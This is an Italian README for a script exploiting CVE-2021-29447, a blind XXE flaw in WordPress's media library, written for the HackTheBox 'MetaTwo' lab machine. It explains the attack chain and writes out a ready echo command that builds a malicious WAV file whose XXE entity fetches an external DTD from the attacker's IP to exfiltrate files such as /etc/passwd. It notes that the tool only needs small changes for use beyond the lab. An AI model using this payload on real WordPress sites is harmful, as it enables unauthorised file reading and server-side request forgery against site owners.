
Controller per lettura arbitraria di file basato su CVE-2021-29447
Ho creato questo controller per la macchina metatwo di HackTheBox per sfruttare CVE-2021-29447, una vulnerabilità XXE di WordPress nella libreria multimediale che colpisce le versioni 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. dove un utente autenticato con la possibilità di caricare file nella libreria multimediale può caricare un file wav malevolo che può portare alla lettura arbitraria di file remota e a server side request forgery (SSRF).
Per sfruttare questa vulnerabilità sono necessari diversi passaggi per completare un attacco con successo. Questo perché il risultato dei metadati iXML analizzati non viene inviato all'utente, quindi per sfruttarla abbiamo bisogno di un payload Blind XXE. Ciò è possibile includendo una definizione del tipo di documento (DTD) esterna controllata dall'attaccante e dobbiamo creare il file wav malevolo per ricevere la connessione sul server di ascolto dell'attaccante. Una volta eseguiti questi passaggi, carichiamo il file wav sul server e aspettiamo di ricevere una richiesta HTTP che include il contenuto codificato in base64 del nostro file payload, ad esempio /etc/passwd, e decodifichiamo il base64. Questo controller ha tutte le soluzioni per questi passaggi multipli. Devi solo digitare il nome del file sul controller $console >
Blog dettagliato https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Nota: Questo controller è completamente configurato per la macchina HTB metatwo. Per qualsiasi uso esterno è necessario apportare alcune modifiche negli script.
Crea un file wave chiamato payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
esegui main.py
python3 main.py listen_ip
